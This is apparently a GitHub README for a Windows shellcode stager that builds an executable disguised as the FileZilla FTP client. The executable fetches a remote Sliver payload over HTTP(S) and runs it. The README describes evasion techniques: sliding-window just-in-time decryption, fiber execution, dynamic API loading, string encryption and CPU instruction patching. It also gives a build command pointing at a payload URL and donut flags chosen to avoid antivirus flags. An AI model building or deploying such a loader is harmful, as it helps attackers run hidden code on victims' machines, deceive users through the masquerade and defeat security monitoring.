LUCKY-SPARK

July 15, 2026 · View on GitHub

⟪ LUCKY-SPARK ⟫ is a stager designed for shellcode payloads staged with http/https like sliver or on github raw. It uses modern obfuscation and evaion methods like sliding window just-in-time decryption of the payload and cpu instruction patching. By default it creates an executable masquarading as the filezilla ftp client.

Features

  • Staged Sliver Payload Loader Downloads and executes a Sliver payload from a specified server.
  • JIT Shellcode Decryption Decrypts only a sliding windows of the payload to minimise exposure.
  • Fiber-based Execution Runs shellcode within fibers for improved stealth and complicating analysis.
  • Dynamic API Resolution Suspicious or detection-prone Windows API functions are dynamically loaded at runtime.
  • String Obfuscation Sensitive strings (e.g., URLs, user agents) are encrypted using an affine cipher and stored obfuscated in the compiled binary.
  • Cpu instruction patching The aes cpu instructions re hidden behind unsuspicious cpu instructions like pmulqd and patched after execution.
  • Automatic Disguise EXE is automatically disguised as FileZilla with proper manifest, version information, and icons.
  • Customizable User-Agent Supports specifying a custom User-Agent string for network requests.

Installation

Clone or download the repository and ensure you have make and mingw installed on your system.

git clone <repository_url>
cd LUCKY-SPARK

Usage

Interactive

Execute the binary creation script.

./luckySpark.sh

you will be asked to enter the URL to your staged payload and an optional User-Agent. Interactive

One Line

Can be executed in one line to be able to be implemented into scripts:

./luckySpark.sh -u https://github.com/GITHUBNAME/PAYLOADREPO/raw/refs/heads/main/PAYLOAD.bin -a "Mozilla/5.0"

Payload Suggestions

If you use donut or Sliver (which uses donut) I recommend these flags to create the payload:

donut.exe -i examplePayload.exe -a 2 -e 1 -z 1 -b 1 -o payload.bin

This avoids suspicious and flagged behavior by donut. Especially the evasion of donut is highly flagged ironically.

Run the Loader

This creates a binary filezilla.exe which when executed retrieves and executes the payload.

Staging a Payload

This stager was designed to be used with Sliver. Stage a Sliver payload as described here Sliver Staging Do not encrypt the payload.

But any http/https based staging method will work. like python3 -m http.server or a payload uploaded to github.com in a public repo.

This stager does NOT support the meterpreter staging protocol.

Sliding Window JITD

Step 1: RIP hits Page 0 and Page 0 gets decrypted 
  Pages:           [  D  |  E  |  E  | ... ]
  RIP ->              ^

Step 2: RIP hits Page 1 and Page 1 gets decrypted 
  Pages:           [  D  |  D  |  E  | ... ]
  RIP ->                    ^

Step 3: RIP hits Page 2 and Page 2 gets decrypted. Page 0 gets encrypted
  Pages:           [  E  |  D  |  D  | ... ]
  RIP ->                          ^

How it works:

  1. When RIP hits a guarded page, VEH handler decrypts that page.
  2. The oldest page in the 3-page window gets re-encrypted.
  3. Only the last two pages are decrypted, the rest stay protected.
  4. This “sliding window” moves with RIP as code executes.
